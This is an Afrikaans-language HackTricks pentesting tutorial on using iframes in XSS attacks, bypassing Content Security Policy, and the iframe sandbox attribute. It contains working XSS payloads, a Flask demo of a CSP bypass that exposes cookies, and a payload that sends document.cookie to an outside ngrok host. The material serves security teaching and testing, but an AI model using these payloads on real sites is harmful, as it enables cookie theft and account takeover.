hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

9.1 KiB

Iframes in XSS, CSP en SOP

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Iframes in XSS

Daar is 3 maniere om die inhoud van 'n geïnframeerde bladsy aan te dui:

  • Via src wat 'n URL aandui (die URL kan kruis-oorsprong of dieselfde oorsprong wees)
  • Via src wat die inhoud aandui deur die data: protokol te gebruik
  • Via srcdoc wat die inhoud aandui

Toegang tot ouer- en kindervariante

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Indien jy die vorige html via 'n http-bediener (soos python3 -m http.server) toegang gee, sal jy opmerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit voorkom). Die ouer sal nie die geheime var binne enige iframe kan bereik nie en slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan die geheim bereik in die oorspronklike venster.
Let op hoe if4 as 'n null oorsprong beskou word.

Iframes met CSP

{% hint style="info" %} Let asseblief daarop hoe in die volgende omseilings die reaksie op die ingelysde bladsy geen CSP-kop bevat wat JS-uitvoering voorkom nie. {% endhint %}

Die self waarde van script-src sal nie die uitvoering van die JS-kode met die data: protokol of die srcdoc eienskap toelaat nie.
Nietemin sal selfs die none waarde van die CSP die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die src eienskap plaas.
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Merk op hoe die vorige CSP slegs die uitvoering van die inline skrip toelaat.
Egter, slegs if1 en if2 skripte gaan uitgevoer word, maar slegs if1 sal in staat wees om die ouer geheim te benader.

Daarom is dit moontlik om 'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via 'n iframe kan laai selfs met script-src 'none'. Dit kan moontlik ook gedoen word deur 'n selfde-site JSONP eindpunt te misbruik.

Jy kan dit toets met die volgende scenario waar 'n koekie selfs met script-src 'none' gesteel word. Hardloop net die aansoek en besoek dit met jou webblaaier:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Ander vragmotors wat in die wild aangetref is

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandput

Die inhoud binne 'n iframe kan onderwerp word aan addisionele beperkings deur die gebruik van die sandbox eienskap. Standaard word hierdie eienskap nie toegepas nie, wat beteken dat geen beperkings van toepassing is nie.

Wanneer dit gebruik word, plaas die sandbox eienskap verskeie beperkings op:

  • Die inhoud word hanteer asof dit afkomstig is van 'n unieke bron.
  • Enige poging om vorms in te dien word geblokkeer.
  • Uitvoering van skripte is verbode.
  • Toegang tot sekere API's is gedeaktiveer.
  • Dit voorkom dat skakels met ander blaai-kontekste interaksie het.
  • Die gebruik van plugins via <embed>, <object>, <applet>, of soortgelyke etikette is nie toegelaat nie.
  • Navigasie van die inhoud se top-vlak blaai-konteks deur die inhoud self word voorkom.
  • Funksies wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus van vormkontroles, word geblokkeer.

Die waarde van die eienskap kan leeg gelaat word (sandbox="") om al die genoemde beperkings toe te pas. Alternatiewelik kan dit ingestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe vrystel van sekere beperkings.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Kyk na die volgende bladsye:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!